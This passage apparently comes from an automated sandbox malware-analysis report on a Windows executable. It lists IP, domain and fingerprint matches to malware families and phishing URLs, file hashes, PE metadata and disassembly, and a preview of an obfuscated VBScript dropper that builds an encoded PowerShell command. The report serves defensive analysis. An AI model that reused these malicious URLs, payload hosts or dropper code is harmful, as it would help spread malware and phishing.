	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
185.166.143.50	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse
	3XSXmrEOw7.exe	Get hash	malicious	Unknown	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Unknown	Browse
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse
	lLNOwu1HG4.js	Get hash	malicious	RHADAMANTHYS	Browse
	iVH355vnza.vbs	Get hash	malicious	Unknown	Browse
	9QwZPBACyK.exe	Get hash	malicious	Unknown	Browse
	PQwHxAiBGt.exe	Get hash	malicious	RHADAMANTHYS	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-w.us-east-1.amazonaws.com	https://eu.onamoc.comano.us/XaFJNdmNsY0JUVzZrd09aZnpEZk9LNXJHSFV1RTlrbFdPMXQ5dzRKTHV4dEdpUEhTM1I1MCszdjdWWm54V01kSEhOSlpOSFpjMUlsaFNTc0l3eXhVeWl3TGVjWm14bGMxUFkzWWFkVUQvbUlNMGEza0pnOFFCK3N4TDBlc3RyYWJkSE9xVU9ETG5TU1lHQkZwdStVdXhGMzdoQzltdFAwRnc0WTJuMmF3Q1VkTzdMb0lwNXhqOFQ3eGRtK0ZuQUpydjMxSWdnPT0tLUFPWFdqaFhtRnVKaEhNK20tLUlJNFZwQjNETFQyTk1iL0UxMUxBTGc9PQ==?cid=300477933	Get hash	malicious	KnowBe4	Browse	52.216.54.49
	https://login.corp-internal.org/17058d3d8656ed69?l=27	Get hash	malicious	Unknown	Browse	52.216.58.145
	18037.doc	Get hash	malicious	Unknown	Browse	52.216.144.19
	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	3.5.24.44
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse	52.217.129.233
	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	54.231.203.105
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	52.217.118.249
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	54.231.193.17
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	3.5.25.23
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse	3.5.29.178
raw.githubusercontent.com	LaRHzSijsq.exe	Get hash	malicious	DCRat	Browse	185.199.109.133
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.109.133
	c56uoWlDXp.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	185.199.110.133
	svhost.vbs	Get hash	malicious	Unknown	Browse	185.199.111.133
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.111.133
	j87MOFviv4.lnk	Get hash	malicious	Unknown	Browse	185.199.108.133
	DvGZE4FU02.lnk	Get hash	malicious	Unknown	Browse	185.199.108.133
	j3z5kxxt52.lnk	Get hash	malicious	Unknown	Browse	185.199.108.133
	zpbiw0htk6.lnk	Get hash	malicious	Unknown	Browse	185.199.110.133
bitbucket.org	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse	185.166.143.50
	hoTwj68T1D.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	4JwhvqLe8n.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	fIPSLgT0lO.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	3XSXmrEOw7.exe	Get hash	malicious	Remcos	Browse	185.166.143.48
	ozfqy8Ms6t.exe	Get hash	malicious	Remcos	Browse	185.166.143.48
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse	185.166.143.50
	hCJ8gK9kNn.exe	Get hash	malicious	Remcos	Browse	185.166.143.49
	x4fDy1muYs.exe	Get hash	malicious	Unknown	Browse	185.166.143.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSL813n1NSUgoHlh-2FH8jVXE55TTo10JYMDP3MpP9biJ-2BivxRElKJfGcSf3Wm0bk6-2BuL6x9TaALAI-2BL1qw1Dee2Qg-3DwH82_lUpiXeYCZ5wahax4fkypnG65rENS0eHcuXkODr9BV8nkC0Nc6-2BAihSf0cmYNntTLO4SyowozBXe6Qe-2Bbp-2FFF3a1FIQOXuBqEKUpfXMQ5PPxSuhMxN-2FGKw6aVp7-2FrJaFsaK3MxWcXiB-2FQGWayulE8-2FtCvMhmv4KaADpZ-2B0qQmLVPxqh24uJt9FaNBQBIm1l70gJHtveQ3b-2FplaZ4NS9-2FFv9-2FcAZ4BnOdGLbd-2BNZzE9Ba47yxwqIyGzlJ-2BmDN57eM41CachqUTFf5upDlE1JEwIy6eZ7t9nvf-2Fc9lQV8qupSe0IpWj5cFkfBjNJ9myaj1i3KCzGOXUSk-2F4E-2FHX-2BkuwdmqzU7u2OKMrHZeEXOJLiSw-3D#C	Get hash	malicious	Unknown	Browse	108.158.75.84
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	44.235.253.37
	zmap.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	54.171.230.55
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107
	https://eu.onamoc.comano.us/XaFJNdmNsY0JUVzZrd09aZnpEZk9LNXJHSFV1RTlrbFdPMXQ5dzRKTHV4dEdpUEhTM1I1MCszdjdWWm54V01kSEhOSlpOSFpjMUlsaFNTc0l3eXhVeWl3TGVjWm14bGMxUFkzWWFkVUQvbUlNMGEza0pnOFFCK3N4TDBlc3RyYWJkSE9xVU9ETG5TU1lHQkZwdStVdXhGMzdoQzltdFAwRnc0WTJuMmF3Q1VkTzdMb0lwNXhqOFQ3eGRtK0ZuQUpydjMxSWdnPT0tLUFPWFdqaFhtRnVKaEhNK20tLUlJNFZwQjNETFQyTk1iL0UxMUxBTGc9PQ==?cid=300477933	Get hash	malicious	KnowBe4	Browse	13.227.8.37
	https://login.corp-internal.org/17058d3d8656ed69?l=27	Get hash	malicious	Unknown	Browse	52.216.58.145
	main_sh4.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	main_mips.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	mpsl.elf	Get hash	malicious	Mirai	Browse	54.171.141.187
FASTLYUS	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSL813n1NSUgoHlh-2FH8jVXE55TTo10JYMDP3MpP9biJ-2BivxRElKJfGcSf3Wm0bk6-2BuL6x9TaALAI-2BL1qw1Dee2Qg-3DwH82_lUpiXeYCZ5wahax4fkypnG65rENS0eHcuXkODr9BV8nkC0Nc6-2BAihSf0cmYNntTLO4SyowozBXe6Qe-2Bbp-2FFF3a1FIQOXuBqEKUpfXMQ5PPxSuhMxN-2FGKw6aVp7-2FrJaFsaK3MxWcXiB-2FQGWayulE8-2FtCvMhmv4KaADpZ-2B0qQmLVPxqh24uJt9FaNBQBIm1l70gJHtveQ3b-2FplaZ4NS9-2FFv9-2FcAZ4BnOdGLbd-2BNZzE9Ba47yxwqIyGzlJ-2BmDN57eM41CachqUTFf5upDlE1JEwIy6eZ7t9nvf-2Fc9lQV8qupSe0IpWj5cFkfBjNJ9myaj1i3KCzGOXUSk-2F4E-2FHX-2BkuwdmqzU7u2OKMrHZeEXOJLiSw-3D#C	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://business.livechathelpsuite.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	fNlxQP0jBz.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	LbgqLv7gT7.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	fNlxQP0jBz.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	LbgqLv7gT7.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://protect.checkpoint.com/v2/r02/___https://url1251.popmenu.com/qxdhqnhp?zus=z556.WRHPCjsgt/tA51B6LI9w4BubTYwM5p/-7KrggkVEpmPU5/oVFKKM8Rk6rAnqtQtILc2Q2H_3u9DiXC41Sfynx8MyN~gGwOol/aO3BY~pgD37kbc4-7KGmCSO4DHGqcB~D2S053knP-7G~y37ScDgrX/lhFDF7r7h5Gwz-7GtvZLu~h33zX5RXwSF0oDJX34CSZAvVXm4AFQJ-7Gq-7KxI/mcm4qvQmbxushMLQI9uHWfHKaPI5mifSCu5iVBRcvqUxu7JB4CzzH~tp7hI~P2JxcRqKbjQDa1m4EV2vJju-7KXGYhKkA/NMg4b3nlprWADF7NLfLtJTf5xKVlxz1PBE~XIwKJANjSZxzJHsTEzwI07xTpBPmh9cjRp3bNxF-8I___.YzJlOm1zbm90aWZ5OmM6bzphNDQ0NjUwYTgwNjk4YzE1YzQzODY0NjgzZWZkNGFjNzo3Ojk1N2U6NjEyMTFiMTNiOTljZDFhYmUzOWRiNzM5NDE0NGE3NDNhMDJkZjlhMmI1NzgzMzhlZTAwMjhmZTBkODVlNWNmZDpoOlQ6VA	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	151.101.2.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSL813n1NSUgoHlh-2FH8jVXE55TTo10JYMDP3MpP9biJ-2BivxRElKJfGcSf3Wm0bk6-2BuL6x9TaALAI-2BL1qw1Dee2Qg-3DwH82_lUpiXeYCZ5wahax4fkypnG65rENS0eHcuXkODr9BV8nkC0Nc6-2BAihSf0cmYNntTLO4SyowozBXe6Qe-2Bbp-2FFF3a1FIQOXuBqEKUpfXMQ5PPxSuhMxN-2FGKw6aVp7-2FrJaFsaK3MxWcXiB-2FQGWayulE8-2FtCvMhmv4KaADpZ-2B0qQmLVPxqh24uJt9FaNBQBIm1l70gJHtveQ3b-2FplaZ4NS9-2FFv9-2FcAZ4BnOdGLbd-2BNZzE9Ba47yxwqIyGzlJ-2BmDN57eM41CachqUTFf5upDlE1JEwIy6eZ7t9nvf-2Fc9lQV8qupSe0IpWj5cFkfBjNJ9myaj1i3KCzGOXUSk-2F4E-2FHX-2BkuwdmqzU7u2OKMrHZeEXOJLiSw-3D#C	Get hash	malicious	Unknown	Browse	185.166.143.50 185.199.109.133
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	185.166.143.50 185.199.109.133
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.166.143.50 185.199.109.133
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	185.166.143.50 185.199.109.133
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.50 185.199.109.133
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	185.166.143.50 185.199.109.133
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	185.166.143.50 185.199.109.133
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	185.166.143.50 185.199.109.133
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	185.166.143.50 185.199.109.133
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	185.166.143.50 185.199.109.133

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulL4w/l/lZ:NllUMwl/
MD5:	5E4245540CA0496B6A4E15149DB9B371
SHA1:	6F912443CDFD9F0C474E2ACC755E982C5E3CF8BB
SHA-256:	6892D98C8FEF52384104FB8712A0E1DA43C1B5CA8E7E32CF33200354E2FBC522
SHA-512:	1E61844BED5A7A30C6DE358CC6E351FFE6F783F27B5FAC2C4E71C2F9047D84C396C91E2B3264F043D03C41AAB179C7ADD3408AD68C966C1299827363DC3AF4B0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs

Download File

Process:	C:\Users\user\Desktop\GdGXG0bnxH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	15808
Entropy (8bit):	5.420171671036689
Encrypted:	false
SSDEEP:	192:BW151SRHLqMabD7HDDZojDY05wH0UvYHtcCjc7NF9Wu0MDxpnO/9pOKg:s1GubvHXcE05wUnqNv10MFpWpOZ
MD5:	E2EE2212DAC9B42877E1371557B6C336
SHA1:	5CE46091ED91A51514F49361451E900B708D52A6
SHA-256:	2003C2D87C5641063FAF9402288CCD5AFDE73723C3BAA114F05DABB692EF603C
SHA-512:	4867E92A35DC7C17B9D814B06D0E61ED451A4ADC9B44839ED8DB9D3CD4A695F6CCC59B0497002F66FC2D0AFB87E6DF0F1FBDFA95D8B8CADDEDAEF6237ACD6D8A
Malicious:	false
Preview:	'g..pbdbgpnodcA = rRegisggfgdsadfkjhgjg211 & ""..Call Ugsfisging("$so" & "digo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$D")..Call Ugsfisging("o$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQB")..kaahgdmc = TimeSerial(7,7,9)..Public Const neIjImodj = "krdkmmS"..chbjepih = "hffhfg" & LenB("Imaangod") & "hfg"..'kaAmpmm gkrabemi..pmaeSccA = TimeSerial(8,8,7)..Public Const Fdkpgmo = "ocbokkF"..kifdISkoh = "hffhfg" & LenB("dgcjmncpb") & "hfg"..'ibbadefd FdASodrr..Call Ugsfisging("y$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$")..mkAdhckhm = TimeSerial(9,7,9)..Public Const gidbbba = "knhodpebo"..Sbhkhnkjk = "hffhfg" & LenB("kmdmIfprn") & "hfg"..'mmbrdbF nbmcFfm..Fohbdkd = TimeSerial(8,7,7)..Public Const IFrjifm = "AdbScbhem"..fffIdkSg = "hffhfg" & LenB("IkhgAjek") & "hfg"..'aicAigkmb ogjdddek..Call Ugsfisging("N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bg")..Call Ugsfisging("Bs$G8$Y

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_10gphrwu.oh5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50u4q4dw.krp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djdbg232.2ik.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwjmcyp4.eqh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gltkmoh0.b1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojxp3lrj.mae.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.853102909659854
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GdGXG0bnxH.exe
File size:	163'840 bytes
MD5:	8970eef61ba5b0d180b01242796bad53
SHA1:	b321407f1f5ce589c99060e413e8edd676f4301c
SHA256:	14fc6009715e1f4627e3fd9cefb81c27d55f766a210c651b6a0491b075f46189
SHA512:	1da4273083518e8c870aebcbf0dda55defce12effbd7485bd36dc04075fc7d9fbe66b548b41e2328a7055be0921750537e5e84c841b0219ff9535d16f35a888e
SSDEEP:	3072:VahKyd2n31t5GWp1icKAArDZz4N9GhbkrNEk1rkhE1T:VahOBp0yN90QEOkyN
TLSH:	B8F38C0A63E420A6E4BA577498F302935A31BCB15B7892FF23C5D57E1E236D0A532F17
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6...7...6...7...6...7...6...7...6...6...6...7...6..o6...6...7...6Rich...6................PE..d................."

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x140008200
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F8AF51EEA80h
dec eax
add esp, 28h
jmp 00007F8AF51EE32Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [000011CDh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [00004922h], ebx
je 00007F8AF51EE32Ch
dec eax
cmp eax, ebx
jne 00007F8AF51EE33Ch
mov edi, 00000001h
mov eax, dword ptr [00004918h]
cmp eax, 01h
jne 00007F8AF51EE339h
lea ecx, dword ptr [eax+1Eh]
call 00007F8AF51EE913h
jmp 00007F8AF51EE39Ch
mov ecx, 000003E8h
call dword ptr [0000117Eh]
jmp 00007F8AF51EE2E9h
mov eax, dword ptr [000048F6h]
test eax, eax
jne 00007F8AF51EE37Bh
mov dword ptr [000048E8h], 00000001h
dec esp
lea esi, dword ptr [000013E9h]
dec eax
lea ebx, dword ptr [000013CAh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F8AF51EE347h
test eax, eax
jne 00007F8AF51EE347h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F8AF51EE332h
dec eax
mov eax, dword ptr [ebx]
dec eax
mov ecx, dword ptr [00001388h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa23c	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1ce54	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x408	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0x20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a10	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9128	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7b80	0x7c00	60800deac1fde21b98089f2241ee6168	False	0.5499936995967742	data	6.096261782871538	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x22c8	0x2400	59d15cdf89780817c3d48dd588a6a129	False	0.4136284722222222	data	4.727841929207054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x400	9d1580dccaf8e787a43caf4bba48a079	False	0.3212890625	data	3.1889769845125677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x408	0x600	15cd12257317071f28e4f7b728f8825e	False	0.3932291666666667	data	3.1563665040475675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1d000	0x1d000	f9285d793255b19603f1fb043f493701	False	0.7388452990301724	data	7.0506300064705325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0x20	0x200	637787151ee546a94902de9694a58fd6	False	0.083984375	data	0.4068473715812382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x12814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1334c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1431c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
